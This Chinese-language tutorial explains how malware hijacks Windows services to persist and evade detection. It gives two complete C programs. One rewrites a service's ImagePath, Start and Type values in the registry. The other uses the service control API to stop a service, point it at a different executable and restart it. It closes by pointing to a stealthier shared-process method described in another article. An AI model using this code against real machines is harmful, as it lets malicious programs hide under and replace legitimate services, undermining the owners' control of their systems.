1.简介

病毒以服务的方式运行最大的好处就是不容易被动态调试, 但是很多服务型病毒并不会直接以服务形式运行,因为很容易被发现. 所以一般都通过劫持

服务的技术来使正常服务与病毒服务程序关联

 

2.原理

当服务创建时会操作注册表, 其中服务信息存在于:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

包含了:

DisplayName 显示的名字

Description

ImagePath  exe路径

Start    启动类型

Type    服务类型

 

当将服务对应的exe替换掉并修改为随开机自启

因此有以下方法:

注册表直接修改

服务API操作服务

共享进程服务

3.注册表实现

void wmain()
{
    WCHAR name[]=L"test"; //服务名

    WCHAR exepath[] = L" D:\\vsprojects\\Windows系统编程\\Debug\\服务劫持.exe";
    DWORD startType = 3;//手动启动
    DWORD type = 16; //用户层服务
    HKEY mainKey = HKEY_LOCAL_MACHINE;
    HKEY subKey = 0;
    WCHAR fullName[200] = { 0 };
    wsprintf(fullName, L"system\\currentcontrolset\\services\\%s", name);
    DWORD result = 0;
    result = RegOpenKeyExW(mainKey, fullName, 0, KEY_ALL_ACCESS, &subKey);
    if (result!=ERROR_SUCCESS)
    {
        printf("RegOpenKeyExW error code is %d \n", GetLastError());
        return;
    }
    result = RegSetValueExW(subKey, L"ImagePath", 0, REG_EXPAND_SZ, (BYTE*)exepath, lstrlenW(exepath) * 2 + 2);
    if (result!=ERROR_SUCCESS)
    {
        printf("RegSetValueExW error code is %d \n", GetLastError());
        RegCloseKey(subKey);
        return;
    }
    result = RegSetValueExW(subKey, L"Start", 0, REG_DWORD, (BYTE*)&startType, 4);
    if (result != ERROR_SUCCESS)
    {
        printf("RegSetValueExW error code is %d \n", GetLastError());
        RegCloseKey(subKey);
        return;
    }
    result = RegSetValueExW(subKey, L"Type", 0, REG_DWORD, (BYTE*)&type, 4);
    if (result != ERROR_SUCCESS)
    {
        printf("RegSetValueExW error code is %d \n", GetLastError());
    }
    RegCloseKey(subKey);
}

 

4.服务API实现

void wmain()
{
    WCHAR name[] = L"test";    //服务名

    WCHAR exepath[] = L" D:\\vsprojects\\Windows系统编程\\Debug\\服务劫持.exe";

    SC_HANDLE hScm = OpenSCManagerW(0, 0, SC_MANAGER_ALL_ACCESS);
    if (hScm==0)
    {
        printf("OpenSCManagerW error code is %d\n", GetLastError());
        return;
    }
    SC_HANDLE hSer = 0;
    hSer = OpenServiceW(hScm, name, SERVICE_ALL_ACCESS);
    if (hSer==0)
    {
        CloseServiceHandle(hScm);
        printf("OpenServiceW error code is %d\n", GetLastError());
        return;
    }
    LPQUERY_SERVICE_CONFIGW info = 0;
    DWORD size = 0, result;
    //一次调用获取大小
    result = QueryServiceConfigW(hSer, info, size, &size);
    if (result==0&&size==0)
    {
        CloseServiceHandle(hScm);
        CloseServiceHandle(hSer);
        printf("QueryServiceConfigW  1 error code is %d\n", GetLastError());
        return;
    }
    info = (LPQUERY_SERVICE_CONFIGW)malloc(size);
    //二次调用获取信息
    result = QueryServiceConfigW(hSer, info, size, &size);
    if (result == 0 && size == 0)
    {
        CloseServiceHandle(hScm);
        CloseServiceHandle(hSer);
        printf("QueryServiceConfigW  2 error code is %d\n", GetLastError());
        return;
    }
    SERVICE_STATUS ss;
    //停止该服务
    result = ControlService(hSer, SERVICE_CONTROL_STOP, &ss);
    if (result==0)
    {
        if (GetLastError() != ERROR_SERVICE_NOT_ACTIVE)
        {
            CloseServiceHandle(hScm);
            CloseServiceHandle(hSer);
            free(info);
            printf("ControlService   error code is %d\n", GetLastError());
            return;
        }
    }
    //修改该服务的参数
    result = ChangeServiceConfigW(hSer, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, info->dwErrorControl, exepath, info->lpLoadOrderGroup, 0, info->lpDependencies,
        info->lpServiceStartName, 0, info->lpDisplayName);
    if (result)
    {
        //重新启动服务
        StartServiceW(hSer, 0, 0);
    }
    CloseServiceHandle(hScm);
    CloseServiceHandle(hSer);
    free(info);

}

5.共享进程服务方式实现

以上2种方式虽然没有创建新的服务,但是原来的服务明显不能执行,还是容易被发现. 某些病毒通过其他的方式劫持服务不会创建新的服务,不会修改原来的

服务进程. 更加隐蔽

详情见另一篇文章: